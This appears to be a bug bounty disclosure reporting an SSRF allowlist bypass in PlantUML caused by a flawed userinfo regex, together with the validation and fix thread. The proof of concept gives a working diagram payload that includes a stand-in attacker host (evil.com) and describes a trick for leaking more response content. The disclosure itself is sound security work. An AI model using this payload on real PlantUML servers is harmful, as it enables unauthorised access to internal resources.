URL Restriction Bypass in plantuml/plantuml

Valid

Reported on

Jun 12th 2023


Description

In attempting to fix a previous issue, the PATTERN_USERINFO regular expression was changed. This change introduced another way to bypass the URL allowlist by introducing non-alphanumeric characters into the user information part of the URL.

Proof of Concept

Run PlantUML with PLANTUML_SECURITY_PROFILE=ALLOWLIST and set an allowlist URL (e.g. -Dplantuml.allowlist.url=https://plantuml.com).

This should restrict external URLs to https://plantuml.com. However, the following diagram will cause an SSRF to a non-whitelisted URL, https://evil.com.

@startuml
!include https://plantuml.com@evil.com
a -> b: %load_json()
@enduml

URL path: /txt/KypCIyufJKbLo2WfAIYsqjSlo4dCAodDpT5BpizrI2tB13Eu4XLqxHIIh1HKS_8JK-ApYlFpD3G1

The resulting diagram will contain the contents of https://evil.com. By inducing another error through the %load_json call, we can leak more than just the first line of the contents.

This bypass is possible because the PATTERN_USERINFO used to remove the user information part of the URL in removeUserInfoFromUrlPath is flawed.

https://github.com/plantuml/plantuml/blob/v1.2023.8/src/net/sourceforge/plantuml/security/SURL.java#L253

private static final Pattern PATTERN_USERINFO = Pattern.compile("(^https?://)([-_0-9a-zA-Z]+@)([^@]*)");

It assumes that the user information part always contains the characters [-_0-9a-zA-Z]+. So if we use https://plantuml.com@evil.com, there is no match because of the . character. In fact, the regex fails to perform its intended function since the format for user information in URLs is <username>:<password>@<host> and the regex does not contain :.

Impact

An attacker can abuse this to bypass URL restrictions that are imposed by the different security profiles and achieve server side request forgery (SSRF). This allows accessing restricted internal resources/servers or sending requests to third party servers.

Occurrences

private static final Pattern PATTERN_USERINFO = Pattern.compile("(^https?://)([-_0-9a-zA-Z]+@)([^@]*)");
We are processing your report and will contact the plantuml team within 24 hours. 3 months ago
Zhang Zeyu
3 months ago

Researcher


Looks like I messed up the title, can it be changed?

Zhang Zeyu modified the report
3 months ago
Zhang Zeyu
3 months ago

Researcher


Found it :)

Zhang Zeyu modified the report
3 months ago
Zhang Zeyu modified the report
3 months ago
We have contacted a member of the plantuml team and are waiting to hear back 3 months ago
plantuml/plantuml maintainer has acknowledged this report 3 months ago
Zhang Zeyu
3 months ago

Researcher


Hi, any update on validating this report? There are several systems affected by this through PlantUML integrations.

PlantUML validated this vulnerability 3 months ago
Zhang Zeyu has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
PlantUML marked this as fixed in 1.2023.9 with commit b32500 3 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
PlantUML published this vulnerability 3 months ago
SURL.java#L253 has been validated
to join this conversation